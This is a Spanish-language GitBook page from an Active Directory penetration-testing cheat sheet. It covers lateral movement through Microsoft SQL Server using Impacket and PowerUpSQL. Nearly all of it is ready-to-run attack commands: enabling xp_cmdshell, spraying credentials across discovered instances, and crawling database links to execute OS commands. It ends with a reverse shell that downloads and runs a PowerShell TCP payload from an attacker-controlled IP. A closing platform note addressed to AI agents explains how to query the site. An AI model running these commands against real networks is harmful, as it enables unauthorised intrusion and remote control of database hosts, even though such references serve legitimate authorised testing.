> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/microsoft-sql-server-mssql.md).

# Microsoft SQL Server (MSSQL)

## Linux/Unix

### Impacket

```shell
# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami
```

## Windows

### PowerUpSQL

Descubrir instancias de SQL Server.

```powershell
Get-SQLInstanceDomain
```

Obtener información de instancias de SQL Server.

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

Comprobar acceso a instancias de SQL Server dado un usuario y contraseña.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

```powershell
$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$SQLInstances
```

Ejecución de consultas SQL.

```powershell
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Query "SELECT @@version"
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Username "<ACME.LOCAL>\<user>" -Password "<password>" -Query "SELECT @@version"
```

Obtener links de bases de datos.

```powershell
Get-SQLServerLink -Instance "<Instance>" -Verbose
```

Rastrear links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Verbose
```

Ejecución de comandos utilizando links de bases de datos.

```powershell
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'hostname & whoami'"
```

Reverse shell utilizando links de bases de datos.

```powershell
# Powercat
powercat -l -v -p <listen-port>
# PowerUpSQL
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>'"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/microsoft-sql-server-mssql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.